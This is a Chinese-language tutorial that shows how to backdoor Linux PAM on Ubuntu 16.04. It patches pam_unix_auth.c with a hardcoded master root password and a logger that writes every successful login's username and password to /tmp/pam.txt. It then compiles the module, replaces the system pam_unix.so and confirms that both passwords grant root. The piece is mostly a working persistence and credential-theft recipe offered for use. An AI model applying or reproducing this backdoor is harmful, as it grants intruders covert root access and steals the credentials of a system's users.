Linux pam 后门纪录root用户密码以及自己设置root密码登录root
最近看了一下有关Linux pam后门相关的知识点,发现有一些坑,便记录一下
本次用的机器为Ubuntu16.04
一、查看本机pam版本
dpkg -l | grep pam
可以看到pam的版本为1.1.8
二、下载对应版本的pam
各个版本的pam包下载地址:http://www.linux-pam.org/library/
下载对应版本的压缩包并解压
三、编译
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
特别注意:64位系统编译可能会遇到yywrap()函数未定义错误,需先安装flex软件包,而网上的大部分都是添加
#define yywrap() 1
但我的添加了并没有解决,反而又报了其他的错误,一直卡在了这
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
sudo apt-get install flex
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的内容
if(strcmp(p,"adhzl")==0){ retval=PAM_SUCCESS; } if(retval==PAM_SUCCESS){ FILE * fp; fp=fopen("/tmp/pam.txt","a"); fprintf(fp,"%s::%s\n",name,p); fclose(fp); }
其中strcmp(p,"adhzl")中的adhzl为自己设置的root密码,可以用来登录root用户,/tmp/pam.txt为纪录的root用户的登录密码的路径和保存的文件名
然后在解压的路径下编译安装
./configure make
编译完之后的后门文件在
/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
四、替换
首先查找原来的pam_unix.so的路径
sudo find / -name pam_unix.so
我的是在
/lib/x86_64-linux-gnu/security/pam_unix.so
先备份原来的pam_unix.so,然后复制编译生成的pam_unix.so到/lib/x86_64-linux-gnu/security/目录下
五、验证
su root
输入之前输入的预设密码
可以登录到root用户
然后输入真正的root用户的密码,也可以登录到root用户
在/tmp目录下查看是否有pat.txt
查看pam.txt内容
前两次为用自己输入的密码成功登录到root用户,第三次为输入真正的root用户的密码,都纪录了下来。